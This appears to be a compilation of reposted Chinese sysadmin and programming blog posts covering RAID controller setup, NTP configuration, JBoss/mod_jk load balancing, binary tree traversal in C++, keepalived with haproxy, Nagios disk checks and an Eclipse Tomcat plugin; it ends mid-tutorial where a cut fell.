1.系统启动直接按ctrl+m进入radi卡的bios界面提示按任何键继续 2.主界面如下有配置菜单,初始化菜单,对象,清除,重建,检查一致性,修复和选择适配器 3.选择配置菜单可以使用简单配置或者新配置,如果添加新的逻辑卷就用view/add。 4.选择新配置yes 5.选择硬盘通道ready的意思是已经准备就绪直接用空格键select选择状态为online在线状态选择3个硬盘在线,然后按回车enter。 6 按enter确定,按f10-configure配置raid级别 7.按f10后出现阵列选择菜单直接space空格键默认为span-1 接着在按一下f10就可以了 8.按了f10到了配置raid级别的菜单默认配置如下 9.如果想优化可以选择高级菜单如下所示:最后接受accpet。 10.保存后直接回车会提示你是否要保存yes即可。 11.接着我们做一下热备hotspare磁盘先进入主菜单配置然后选择view/add configuration菜单先使用空格键选择ready的硬盘回车然后按f4提示是否创建热备yes即可。 12.以下变成黄色的盘就是hotsp就是热备盘 13.初始化磁盘raid 5 先查看一下逻辑卷 14.提示是否要初始化yes 15.初始化完成任意键继续如果系统盘不干净建议初始化。 16.因为要模拟硬盘坏掉只能用objects选项选择force offline选项来达到硬盘坏的效果 17.是否要下线选择yes 18.查看状态为fail状态 19.一种方法就是强行上线如果不行只能换硬盘重建了。 20.强行上线yes 21.上线好之后fail的硬盘变成online在线状态。 22.如果上线不了就直接换硬盘rebuild选项选择yes 23.正在rebuild状态 24.在加入3块硬盘做raid 5或者1块做raid0或者两块做raid1举例为在做一个raid5逻辑卷选择主配置菜单view/add configuration子菜单把剩下的3块硬盘online步骤和第一个raid5一样操作即可。 25.选择好之后span-1 回车f10配置raid级别 26.配置raid级别还是raid 5也可以自己选择2块raid1或者一块raid0 27.最后提示是否要保存yes即可。 本文转自zh888 51CTO博客,原文链接:http://blog.51cto.com/zh888/986699,如需转载请自行联系原作者
Network Time Protocol(NTP)是用来使计算机时间同步化的一种协议,它可以使计算机对其服务器或时钟源(如石英钟,GPS等等)做同步化,它可以提供高精准度的时间校正(LAN上与标准间差小于1毫秒,WAN上几十毫秒),且可介由加密确认的方式来防止恶毒的协议攻击。 中国大概能用的NTP服务器地址 http://www.pool.ntp.org是NTP的官方网站,在这上面我们可以找到离我们城市最近的NTP Server. NTP建议我们为了保障时间的准确性,最少找两个个NTP Server 133.100.11.8 prefer 210.72.145.44 203.117.180.36 131.107.1.10 time.asia.apple.com 64.236.96.53 130.149.17.21 66.92.68.246 www.freebsd.org 18.145.0.30 clock.via.net 137.92.140.80 133.100.9.2 128.118.46.3 ntp.nasa.gov 129.7.1.66ntp-sop.inria.frserver 210.72.145.44(中国国家授时中心服务器IP地址) ntp.sjtu.edu.cn (上海交通大学网络中心NTP服务器地址)202.120.2.101 (上海交通大学网络中心NTP服务器地址) 1.确认是否安装NTP软件包如果没有请使用yum -y install ntp来安装。 [root@localhost ~]# rpm -qa|grep ntp ntpdate-4.2.4p8-3.el6.centos.i686 ntp-4.2.4p8-3.el6.centos.i686 2.NTP配置文件 运行一个NTP Server不需要占用很多的系统资源,所以也不用专门配置独立的服务器,就可以给许多client提供时间同步服务, 但是一些基本的安全设置还是很有必要的 那么这里一个很简单的思路就是第一我们只允许局域网内一部分的用户连接到我们的服务器. 第二个就是这些client不能修改我们服务器上的时间 关于权限设定部分 权限的设定主要以 restrict 这个参数来设定,主要的语法为: restrict IP地址 mask 子网掩码 参数 其中 IP 可以是IP地址,也可以是 default ,default 就是指所有的IP 参数有以下几个: ignore :关闭所有的 NTP 联机服务 nomodify:客户端不能更改服务端的时间参数,但是客户端可以通过服务端进行网络校时。 notrust :客户端除非通过认证,否则该客户端来源将被视为不信任子网 noquery :不提供客户端的时间查询 注意:如果参数没有设定,那就表示该 IP (或子网)没有任何限制! 在/etc/ntp.conf文件中我们可以用restrict关键字来配置上面的要求 [root@localhost ~]# cat /etc/ntp.conf //查看ntp.conf配置文件如下: restrict default kod nomodify notrap nopeer noquery //首先我们对于默认的client拒绝所有的操作 restrict default ignore //设置默认策略为允许任何主机进行时间同步 restrict 127.0.0.1 //然后允许本机地址一切的操作 restrict 192.168.200.0 mask 255.255.255.0 //最后我们允许局域网内所有client连接到这台服务器同步时间.但是拒绝让他们修改服务器上的时间 restrict 0.0.0.0 mask 0.0.0.0 nomodify notrap //允许任何主机跟进行时间同步 restrict 202.120.2.101 //允许202.120.2.101主机跟进行时间同步 server cn.pool.ntp.org prefer //设置此服务器同上层服务器做时间同步的IP地址,prefer意味着首选IP地址 server 202.120.2.101 //设置上层服务器做同步ip地址 #server 127.127.1.0 //local地址 fudge 127.127.1.1 stratum 10 //这行是时间服务器的层次。设为0则为顶级,如果要向别的NTP服务器更新时间,请不要把它设为0 driftfile /etc/ntp/drift //记录上次的NTP server与上层NTP server联接所花费的时间 statsdir /var/log/ntp/ //设置ntp日志的path logfile /var/log/ntp/ntp.log //设置ntp日志文件 系统默认去掉#号配置/etc/ntp.conf如下: driftfile /var/lib/ntp/drift restrict default kod nomodify notrap nopeer noquery restrict -6 default kod nomodify notrap nopeer noquery restrict 127.0.0.1 restrict -6 ::1 server 202.120.2.101 prefer includefile /etc/ntp/crypto/pw keys /etc/ntp/keys 3.NTP server的维护 ----添加为服务 chkconfig --level 345 ntpd on ----启动 service ntpd start 或 /etc/rc.d/init.d/ntpd start ----停止 service ntpd stop 或 /etc/rc.d/init.d/ntpd stop ----管理命令 ntpq –p #查看本机和上层服务器的时间同步结果 ntptrace #可以用來追踪某台时间服务器的时间对应关系 ntpdate IP #客户端要和NTP server进行时钟同步。 /var/log/ntp/ntp.log #查看ntp日志 ntpstat # 也可以查看一些同步状态 watch ntpq -p #监测服务器的运行查NTP源 [root@localhost ~]# watch ntpq -p //监测服务器的运行查NTP源 Every 2.0s: ntpq -p Sun Dec 2 00:05:31 2012 remote refid st t when poll reach delay offset jitter ============================================================================== dns.sjtu.edu.cn 202.112.31.197 3 u 4 64 77 14.668 1907019 8528448 dns2.synet.edu. .INIT. 16 u - 64 0 0.000 0.000 0.000 现在我就来解释一下其中的含义 remote: 它指的就是本地机器所连接的远程NTP服务器 refid: 它指的是给远程服务器(e.g. 193.60.199.75)提供时间同步的服务器 st: 远程服务器的层级别(stratum). 由于NTP是层型结构,有顶端的服务器,多层的Relay Server再到客户端. 所以服务器从高到低级别可以设定为1-16. 为了减缓负荷和网络堵塞,原则上应该避免直接连接到级别为1的服务器的. t: 这个.....我也不知道啥意思^_^ when: 我个人把它理解为一个计时器用来告诉我们还有多久本地机器就需要和远程服务器进行一次时间同步 poll: 本地机和远程服务器多少时间进行一次同步(单位为秒). 在一开始运行NTP的时候这个poll值会比较小,那样和服务器同步的频率也就增加了,可以尽快调整到正确的时间范围.之后poll值会逐渐增大,同步的频率也就会相应减小 reach: 这是一个八进制值,用来测试能否和服务器连接.每成功连接一次它的值就会增加 delay: 从本地机发送同步要求到服务器的round trip time offset: 这是个最关键的值, 它告诉了我们本地机和服务器之间的时间差别. offset越接近于0,我们就和服务器的时间越接近 jitter: 这是一个用来做统计的值. 它统计了在特定个连续的连接数里offset的分布情况. 简单地说这个数值的绝对值越小我们和服务器的时间就越精确 4.配置客户端 1.LINUX客户端: (局域网内对时间有要求的机器) echo “00 */1 * * * root /usr/sbin/ntpdate 192.168.200.240;/sbin/hwclock -w”>>/etc/crontab 每小时同NTP server进行一次时钟同步,并写入本机BIOS 本文转自zh888 51CTO博客,原文链接:http://blog.51cto.com/zh888/1244772,如需转载请自行联系原作者
1.5 HTTP服务 HTTP会话复制被用来复制状态在你的web客户端和集群的及其他节点. 因此, 当节点中的一个崩溃的时, 集群中的其他节点将可以恢复。要实现这个目的,必须执行两个步骤: u 会话状态复制 u 请求负载均衡 状态复制由JBoss直接控制。当你使用all配置启动JBoss的时候,默认激活会话状态复制。只需要部署你的web应用程序,会话状态就已经在集群里所有的JBoss实例间进行复制。 但是, 负载平衡是不同的过程, 单凭JBoss自己不能控制,要实现它需要额外的软件支持。 作为一种非常普遍的情况, 我们将示范如何安装Apache和mod_jk. 这个功能也可以通过专门的硬件开关或者路由器(例如思科的LoadDirector)或者一些其他的专业软件执行。 注意: 一个负载平衡器跟踪HTTP请求,依靠会话关联的请求, 发送请求到合适的节点. 这就是所谓的负载平衡的“会话粘贴”: 一旦一个会话在一个节点上被创建,将来每一个请求也将由这个节点处理。使用一个支持“会话粘贴”的负载平衡允许(你规定适当的)不用复制会话,没有会话状态复制的花销:每个查询将总是被同一个节点处理。但是一旦这个节点崩溃, 在这个节点主机上的所有的客户会话状态都将丢失(例如,购物车),大概大部分客户需要登陆进另一个就节点,重新启动一个新的会话。在某些情况, 不复制HTTP会话是可以接受的,因为所有的临界状态被保存到数据库中。在其他的情况, 丢失客户会话状态是无法接受的,在这种情况下,会话状态复制是不得不花销的. 众所周知,Apache是一个可以通过模块扩展功能的web服务器。其中的一个模块, mod_jk (最新的是mod_jk2) 是为允许Apache分发请求到Servlet容器而特定设计的。此外, 它也支持在多个Servlet容器里负载平衡HTTP调用,遵循”会话粘贴”, 引起我们关注的是它能做到什么程度。 1.5.1 下载软件 首先, 确保你已经安装了Apache. 你可以在Apache网站直接下载它,网址是[url]http://httpd.apache.org/[/url]. 它的安装是非常直白的,不需要细节配置。Apache存在几个版本, 我们推荐您使用2.0.x版本. 我们认为在下一个章节之前,您已经在APACHE_HOME文件夹安装了Apache 。下一步, 下载mod_jk模块的二进制版本. 存在好几个mod_jk版本. 我们强烈的建议你使用mod_jk 1.2.x版本, 同时使用mod_jk 和 mod_jk2两者是不被赞成的, 在社区中并没有支持进一步的开发。mod_jk 1.2.x 二进制版本可以从[url]http://www.apache.org/dist/jakarta/tomcat-connectors/jk/binaries/[/url] 下载. 重新命名下载的文件为mod_jk.so并copy到APACHE_HOME/modules/ 文件夹下. 1.5.2 配置Apache装载mod_jk 修改 APACHE_HOME/conf/httpd.conf 文件,在文件末尾添加一行: # Include mod_jk's specific configuration file Include conf/mod-jk.conf 下一步, 创建一个名字为APACHE_HOME/conf/mod-jk.conf的文件,加入一下内容: # Load mod_jk module # Specify the filename of the mod_jk lib LoadModule jk_module modules/mod_jk.so # Where to find workers.properties JkWorkersFile conf/workers.properties # Where to put jk logs JkLogFile logs/mod_jk.log # Set the jk log level [debug/error/info] JkLogLevel info # Select the log format JkLogStampFormat "[%a %b %d %H:%M:%S %Y]" # JkOptions indicates to send SSK KEY SIZE JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories # JkRequestLogFormat JkRequestLogFormat "%w %V %T" # Mount your applications JkMount /application/* loadbalancer # You can use external file for mount points. # It will be checked for updates each 60 seconds. # The format of the file is: /url=worker # /examples/*=loadbalancer JkMountFile conf/uriworkermap.properties # Add shared memory. # This directive is present with 1.2.10 and # later versions of mod_jk, and is needed for # for load balancing to work properly JkShmFile logs/jk.shm # Add jkstatus for managing runtime data <Location /jkstatus/> JkMount status Order deny,allow Deny from all Allow from 127.0.0.1 </Location> 请注意两处非常重要的设置: • LoadModule指令必须引用你在前面章节下载的mod_jk库。你必须正确的指定在”modules”前缀的路径下的mod_jk模块的名字。 • JkMount指令告诉Apache那些URL应该转发给mod_jk模块(轮流的派发给Servlet容器). 在上面的配置文件中, 所有的基于/application/*路径的请求都会派发给mod_jk模块进行负载平衡。 这样, 你可以配置Apache服务器静态目录(或者PHP目录),为Java应用程序直接使用负载平衡。如果你只是把mod_jk模块作为一个负载平衡器,那么你可以将所有的URL请求(例如,/*)派发给mod_jk模块。 除了JkMount 指令外,你也可以用JkMountFile指令制定装配一个包含多个URL映射转发的Tomcat的配置文件。你仅仅需要在APACHE_HOME/conf文件夹下创建一个名字为uriworkermap.properties 的文件。文件的格式为 /url=worker_name. 准备, 复制下面的示例到你创建的文件里: # Simple worker configuration file # Mount the Servlet context to the ajp13 worker /jmx-console=loadbalancer /jmx-console/*=loadbalancer /web-console=loadbalancer /web-console/*=loadbalancer 上面的示例配置mod_jk将派发/jmx-console 和/web-console 的请求给Tomcat。 你很可能在mod_jk.conf文件中不去改变其他设置。他们过去习惯于告诉mod_jk在哪里放置它的日志文件,使用哪个日志级别等等。 1.5.3 在mod_jk中配置工作节点 下一步, 你需要在conf/workers.properties 文件中配置mod_jk 工作节点。这个文件用来指明不同Servlet容器的位置和怎么在它们中间进行负载平衡。这个配置文件包含了每个目标servlet容器项和一个全局项。针对两个节点的设置,参考如下: # Define list of workers that will be used # for mapping requests worker.list=loadbalancer,status # Define Node1 # modify the host as your host IP or DNS name. worker.node1.port=8009 worker.node1.host=node1.mydomain.com worker.node1.type=ajp13 worker.node1.lbfactor=1 worker.node1.cachesize=10 # Define Node2 # modify the host as your host IP or DNS name. worker.node2.port=8009 worker.node2.host= node2.mydomain.com worker.node2.type=ajp13 worker.node2.lbfactor=1 worker.node2.cachesize=10 # Load-balancing behaviour worker.loadbalancer.type=lb worker.loadbalancer.balance_workers=node1,node2 worker.loadbalancer.sticky_session=1 #worker.list=loadbalancer # Status worker for managing load balancer worker.status.type=status 基本上, 上诉文件配置mod_jk 有利的完成在端口8009上监听node1 和 node2两个servlet容器(JBoss Tomcat)之间用用“会话粘贴”策略轮流(round-robin,循环法)负载平衡。 在works.properties文件中, 每一个节点规定使用worker.XXX命名规范,这里的XXX可是任意名字,用来命名你挑选的目标Servlet容器。对于每一工作节点, 你必须提供Servlet容器中运行的AJP13连接器的主机名称(或者IP地址)和端口号。 lbfactor 属性是具体的工作节负载平衡的因素。它被用于决定节点之间负载平衡的优先级(或者轻重。较高的数值,使得该节点将接受更多的HTTP请求。这个配置可以分配请求到不同负载平衡能力的服务器上。 cachesize 属性定义关联的Servlet容器的线程池的大小(例如,大量的并发请求被派发到Servlet容器)。确保这个数值没有超过Servlet容器在AJP3连接器配置中的线程数。可以参考在Apache1.3.X中的cachesize属性注释,地址[url]http://jakarta.apache.org/tomcat/connectors-doc/config/workers.html[/url] Configure JBoss conf/workers.properties 文件的最后部分定义负载平衡工作者。唯一要做的是你必须改变 worker.loadbalancer.balanced_workers属性的列表:它必须线性的列出在这个文件中之前定义的所有工作节点:负载平衡将从这些工作者上发生。 sticky_session 属性指定集群针对HTTP会话的处理行为。如果你指定 worker.loadbalancer.sticky_session=0, 每一个请求将在node1和node2之间进行负载。但是当一个用户在一个服务节点上创建一个会话的时候,比较好的方式是将用户随后的请求都派发到这个服务节点上处理。这被称作"会话粘贴", 客户总是使用第一个会话创建的节点服务所有随后的请求。否则,用户的会话数据必须在不同的两个节点间进行同步(会话复制, 见5.5, “配置 HTTP会话状态复制”)。激活”会话粘贴”,你需要设置worker.loadbalancer.sticky_session的值为1。 注意: 用一个单独的节点建立non-loadbalanced的正确操作是必须在mod_jk之前引入worker.list=node1。 1.5.4 配置JBoss 最后, 我们必须在所有的集群节点上配置JBoss Tomcat 实例,因此他们可以指望请求由mod_jk负载平衡转交。 每个JBoss集群节点,我们必须根据workers.properties文件中的workers命名规则来命名节点。 例如, 在node1上的JBoss实例,编辑JBOSS_HOME/server/all/deploy/jbossweb-tomcat50.sar/server.xml文件 (如果必要的话用你自己的服务器名字替换掉 /all).。查找<Engine>元素并增加一个jvmRoute属性: <Engine name="jboss.web" defaultHost="localhost" jvmRoute="node1"> ... ... </Engine> 当然, 集群中的任何一个JBoss Tomcat实例,我们需要告诉它增加jvmRoute值到他们的会话cookies中,以便mod_jk可以路由随后的请求。编辑JBOSS_HOME/server/all/deploy/jbossweb-tomcat50.sar/META-INF/jboss-service.xml 文件(用你自己的服务器名字替换掉 /all). 查找名字为UseJK的<attribute>元素,并将它的值设为true: <attribute name="UseJK">true</attribute> 到这里为止,你已经成功的在你的集群里使用Apache+mod_jk的负载平衡设置,平衡了Servlet容器里的“会话粘贴”(客户永远使用同一servlet容器)。 注意: 更多JBoss Tomcat使用mod_jk1.2的最新信息,请查阅JBoss wiki页面[url]http://wiki.jboss.org/wiki/Wiki.jsp?page=UsingMod_jk1.2WithJBoss[/url]. 本文转自xudayu 51CTO博客,原文链接:http://blog.51cto.com/xudayu/67630,如需转载请自行联系原作者
树结点 struct TreeNode { int val; struct TreeNode *left; struct TreeNode *right; TreeNode(int x):val(x),left(NULL),right(NULL){} }; typedef struct TreeNode TreeNode; 访问函数 void visit(TreeNode *root) { if(root) cout <<root->val<<" "; } 前序递归 void preorder(TreeNode *root) { if(root) { visit(root); preorder(root->left); preorder(root->right); } } 前序非递归 void preorder1(TreeNode *root) { stack<TreeNode*> s; while(root || !s.empty()) { if(root) { visit(root); s.push(root->right); root = root->left; } else { root = s.top(); s.pop(); } } } 中序递归 void inorder(TreeNode *root) { if(root) { inorder(root->left); visit(root); inorder(root->right); } } 中序非递归 void inorder1(TreeNode *root) { stack<TreeNode*> s; while(root || !s.empty()) { if(root) { s.push(root); root = root->left; } else { root = s.top(); s.pop(); visit(root); root = root->right; } } } 后序递归 void postorder(TreeNode *root) { if(root) { postorder(root->left); postorder(root->right); visit(root); } } 后序非递归1,使用双栈 void postorder1(TreeNode *root) { stack<TreeNode*> s1; stack<TreeNode*> s2; if(!root) return; s1.push(root); while(!s1.empty()) { s2.push(s1.top()); s1.pop(); if(s2.top()->left) s1.push(s2.top()->left); if(s2.top()->right) s1.push(s2.top()->right); } while(!s2.empty()) { visit(s2.top()); s2.pop(); } } 后序非递归2,使用一个pre指针 void postorder2(TreeNode *root) { stack<TreeNode*> s; TreeNode *pre = NULL; TreeNode *cur; if(!root) return; s.push(root); while(!s.empty()) { cur = s.top(); if(!pre || (pre != cur->right && pre != cur->left)) { if(!cur->left && !cur->right) { visit(cur); s.pop(); pre = cur; } if(cur->right) s.push(cur->right); if(cur->left) s.push(cur->left); } else if( pre == cur->left) { if(cur->right) s.push(cur->right); else { visit(cur); s.pop(); pre = cur; } } else if(pre == cur->right) { visit(cur); s.pop(); pre = cur; } } } 层次遍历,使用队列 void level_traversal(TreeNode *root) { queue<TreeNode*> q; if(!root) return; q.push(root); while(!q.empty()) { if(q.front()->left) q.push(q.front()->left); if(q.front()->right) q.push(q.front()->right); visit(q.front()); q.pop(); } } (更新中) 本文转自nxlhero 51CTO博客,原文链接:http://blog.51cto.com/nxlhero/1159213,如需转载请自行联系原作者
一、Keepalived简介 Keepalived的作用是检测web服务器的状态,如果有一台web服务器死机,或工作出现故障,Keepalived将检测到,并将有故障的web服务器从系统中剔除,当web服务器工作正常后Keepalived自动将web服务器加入到服务器群中,这些工作全部自动完成,不需要人工干涉,需要人工做的只是修复故障的web服务器。 Layer3,4&7工作在IP/TCP协议栈的IP层,TCP层,及应用层,原理分别如下: Layer3:Keepalived使用Layer3的方式工作式时,Keepalived会定期向服务器群中的服务器发送一个ICMP的数据包(既我们平时用的Ping程序),如果发现某台服务的IP地址没有激活,Keepalived便报告这台服务器失效,并将它从服务器群中剔除,这种情况的典型例子是某台服务器被非法关机。Layer3的方式是以服务器的IP地址是否有效作为服务器工作正常与否的标准。在本文中将采用这种方式。 Layer4:如果您理解了Layer3的方式,Layer4就容易了。Layer4主要以TCP端口的状态来决定服务器工作正常与否。如web server的服务端口一般是80,如果Keepalived检测到80端口没有启动,则Keepalived将把这台服务器从服务器群中剔除。 Layer7:Layer7就是工作在具体的应用层了,比Layer3,Layer4要复杂一点,在网络上占用的带宽也要大一些。Keepalived将根据用户的设定检查服务器程序的运行是否正常,如果与用户的设定不相符,则Keepalived将把服务器从服务器群中剔除。 二、安装配置 1.拓扑图 说明:1.两个代理服务器通过VIP向外提供数据 2.两个代理服务器都可以代理后端的服务器 3.为测试方便,后端服务器至提供静态页面 2.ip规划 功用 ip地址 安装软件 VIP 192.168.1.99 反向代理1 192.168.1.201 keepalived、haproxy 反向代理2 192.168.1.204 keepalived、haproxy web服务器1 192.168.1.202 httpd web服务器2 192.168.1.203 httpd 3.安装配置haproxy 关于haproxy的详细配置,请参照http://wangfeng7399.blog.51cto.com/3518031/1405758 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 [root@node1 ~]# cat /etc/haproxy/haproxy.cfg #--------------------------------------------------------------------- # Example configuration for a possible web application. See the # full configuration options online. # # http://haproxy.1wt.eu/download/1.4/doc/configuration.txt # #--------------------------------------------------------------------- #--------------------------------------------------------------------- # Global settings #--------------------------------------------------------------------- global # to have these messages end up in /var/log/haproxy.log you will # need to: # # 1) configure syslog to accept network log events. This is done # by adding the '-r' option to the SYSLOGD_OPTIONS in # /etc/sysconfig/syslog # # 2) configure local2 events to go to the /var/log/haproxy.log # file. A line like the following can be added to # /etc/sysconfig/syslog # # local2.* /var/log/haproxy.log # log 127.0.0.1 local2 chroot /var/lib/haproxy pidfile /var/run/haproxy.pid maxconn 4000 user haproxy group haproxy daemon # turn on stats unix socket stats socket /var/lib/haproxy/stats #--------------------------------------------------------------------- # common defaults that all the 'listen' and 'backend' sections will # use if not designated in their block #--------------------------------------------------------------------- defaults mode http log global option httplog option dontlognull option http-server-close option forwardfor except 127.0.0.0/8 option redispatch retries 3 timeout http-request 10s timeout queue 1m timeout connect 10s timeout client 1m timeout server 1m timeout http-keep-alive 10s timeout check 10s maxconn 3000 #--------------------------------------------------------------------- # main frontend which proxys to the backends #--------------------------------------------------------------------- frontend main *:80 default_backend static #--------------------------------------------------------------------- # static backend for serving up images, stylesheets and such #--------------------------------------------------------------------- backend static balance roundrobin server node2 192.168.1.202:80 check maxconn 2000 server node3 192.168.1.203:80 check maxconn 2000 #--------------------------------------------------------------------- # round robin balancing between the various backends #--------------------------------------------------------------------- 说明:两个节点的HAproxy的配置文件应该保持一样 4.测试haproxy的配置 5.安装配置keepalived ①、安装keepalived keepalived的安装可以通过yum源来安装,也可以通过编译源码来安装,本处通过yum源赖安装 ②、配置keepalived主节点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [root@node1 ~]# cat /etc/keepalived/keepalived.conf ! Configuration File for keepalived global_defs { //全局参数 notification_email { //邮件 sysadmin@firewall.loc //收件人地址 } notification_email_from Alexandre.Cassen@firewall.loc //发件人地址 smtp_server 127.0.0.1 //邮件服务器的地址 smtp_connect_timeout 30 //间隔时间 router_id LVS_DEVEL //邮件服务器的组的id } vrrp_script chk_haproxy { script "killall -0 haproxy" //检查haproxy是否在线 interval 1 //检查间隔时间 weight -5 //如果检查失败,则权重-5 } vrrp_instance VI_1 { //定义第一个集群 state MASTER //初始状态为主节点,从节点应该为BACKUP interface eth0 //配置ip的端口 virtual_router_id 51 //本组集群的id号,主从节点必须一样 priority 100 //主节点的优先级,备用节点的优先级必须低于主节点 advert_int 1 //心跳检查间隔时间 authentication { auth_type PASS //通信为明文密码通信 auth_pass 1111 //通信的密码,主从节点必须一样 } virtual_ipaddress { 192.168.1.99 //定义一个VIP } track_script { //调用上面的命令 chk_haproxy } } ③、配置keepalived从节点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [root@node4 ~]# cat /etc/keepalived/keepalived.conf ! Configuration File for keepalived global_defs { notification_email { sysadmin@firewall.loc } notification_email_from Alexandre.Cassen@firewall.loc smtp_server 127.0.0.1 smtp_connect_timeout 30 router_id LVS_DEVEL } vrrp_script chk_haproxy { script "killall -0 haproxy" interval 1 weight -5 } vrrp_instance VI_1 { state BACKUP interface eth0 virtual_router_id 51 priority 99 advert_int 1 authentication { auth_type PASS auth_pass 1111 } virtual_ipaddress { 192.168.1.99 } track_script { chk_haproxy } } 6.测试 1 2 3 4 5 6 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:0c:29:56:78:cd brd ff:ff:ff:ff:ff:ff inet 192.168.1.204/24 brd 192.168.1.255 scope global eth0 inet 192.168.1.99/32 scope global eth0 inet6 fe80::20c:29ff:fe56:78cd/64 scope link tentative dadfailed valid_lft forever preferred_lft forever 可以看到ip地址已经配置上去了 我们可以看到网页访问正常 下面,我们模拟服务器损坏,将node1上的haproxy关掉,看看ip地址是否会转移到node4上 1 2 3 4 5 6 7 8 9 10 11 12 [root@node4 ~]# ip add 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:0c:29:56:78:cd brd ff:ff:ff:ff:ff:ff inet 192.168.1.204/24 brd 192.168.1.255 scope global eth0 inet 192.168.1.99/32 scope global eth0 inet6 fe80::20c:29ff:fe56:78cd/64 scope link tentative dadfailed valid_lft forever preferred_lft forever 查看网页是否能够访问正常 OK!!可以看到我们的页面访问正常,这就可以实现当前段的一个反向代理服务器宕机或者后端的一个web服务宕机,服务都可以正常对外提供 7.扩展 我们还可以自定义通知机制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #!/bin/bash # Author: wangfeng7399<wangfeng17399@163.com> # description: An example of notify script # vip=192.168.1.99 contact='root@localhost' notify() { mailsubject="`hostname` to be $1: $vip floating" mailbody="`date '+%F %H:%M:%S'`: vrrp transition, `hostname` changed to be $1" echo $mailbody | mail -s "$mailsubject" $contact } case "$1" in master) notify master exit 0 ;; backup) notify backup exit 0 ;; fault) notify fault exit 0 ;; *) echo 'Usage: `basename $0` {master|backup|fault}' exit 1 ;; esac 在keepalived的配置文件中通过notify来调用,如下所示 1 2 3 notify_master "/etc/keepalived/notify.sh master" notify_backup "/etc/keepalived/notify.sh backup" notify_fault "/etc/keepalived/notify.sh fault" 大功告成,由于本人水平有限,可能有逻辑上的错误,请各位大神匹配指正 本文转自wangfeng7399 51CTO博客,原文链接:http://blog.51cto.com/wangfeng7399/1405785,如需转载请自行联系原作者
ngios默认监控第一个磁盘分区,需要在service中定义多个监控项,如: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 define service { service_description check_disk3 max_check_attempts 3 check_interval 1 retry_interval 3 notification_interval 0 notification_options w,u,c,r,f,s notifications_enabled 1 check_command check_nrpe!check_disk3 check_period 24x7 notification_period 24x7 host_name AFA_EBS_DB } define service { service_description check_disk4 max_check_attempts 3 check_interval 1 retry_interval 3 notification_interval 0 notification_options w,u,c,r,f,s notifications_enabled 1 check_command check_nrpe!check_disk4 check_period 24x7 notification_period 24x7 host_name AFA_EBS_DB 然后再监控机上配置这些项即可,如: 1 2 3 4 command[check_disk3]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/emcpowera1 command[check_disk4]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/emcpowerb1 command[check_disk5]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/sdb1 command[check_disk6]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/emcpowerc1 分别重启监控端和被监控段的服务即可 效果如下: 本文转自wangfeng7399 51CTO博客,原文链接:http://blog.51cto.com/wangfeng7399/1588170,如需转载请自行联系原作者
1.下载Eclipse的Tomcat插件 1.1 在Eclipse下进入Help-Eclipse MarketPlace-搜索tomcat 1.2 点击第一个插件的learn more,并点击HOME标志进入下载页面 1.3 选择tomcatPluginV33.zip下载到硬盘上 2.为Eclipse配置Tomcat插件 2.1 将下载回来的tomcatPluginV33.zip解压缩,产生一个tomcatPluginV33文件夹; 2.2 将tomcatPluginV33文件夹下的com.sysdeo.eclipse.tomcat_3.3.0复制到eclipse安装路径的plugins目录下,比如我电脑的是H:\Java-tools\eclipse\plugins 2.3 打开Eclipse(或者restart),打开菜单栏的Windows-Preferences,选择左边栏的tomcat;选择Tomcat版本为Version7.X;"Tomcat home"处选择Tomcat的安装路径;"Context declaration mode"选择server.xml;选择OK。 2.4 配置完毕后,会看到菜单栏下面会多出几个小猫的标志 2.5 测试一下,点击start tomcat ,会出现很多启动信息,并在浏览器地址栏输入http://localhost:8080 ,可以看到是否成功 3.使用Eclipse建立第一个web项目 3.1 File-New-Project,选择java-Tomcat Project 3.2 在对话框中的输入Project name,如"App",选择Finish,即可看到项目的目录结构 3.3 在App上单击右键-New-Package,在Name文本框输入“com.lixiyu.action”,finish 3.4 实现思路:首先编写一个继承HttpServlet的类,然后配置web.xml,接着启动Tomcat,然后运行这个用Servlet实现的HelloWorld的例子。 具体步骤: 在com\lixiyu\action文件夹下建立HelloWorld.java文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /** * */ /** * @author lixiyu * */ package com.lixiyu.action; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class HelloWorld extends HttpServlet{ /** * */ private static final long serialVersionUID = 1L; public void doGet(HttpServletRequest request,HttpServletResponse response)throws IOException,ServletException{ PrintWriter out=response.getWriter(); out.write("<html>\r\n"); out.write("<head>\r\n"); //设定解码方式 out.write("<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\r\n"); out.write("</head>\r\n"); out.write("\r\n"); out.write("<body>\r\n"); out.write("<H1>\r\n"); out.write("helloworld"); out.write("\r\n"); out.write("</H1>\r\n"); out.write("</body>\r\n"); out.write("</html>"); } } 在WEB-INF下建立web.xml文件,代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?xml version="1.0" encoding="UTF-8"?> <web-app 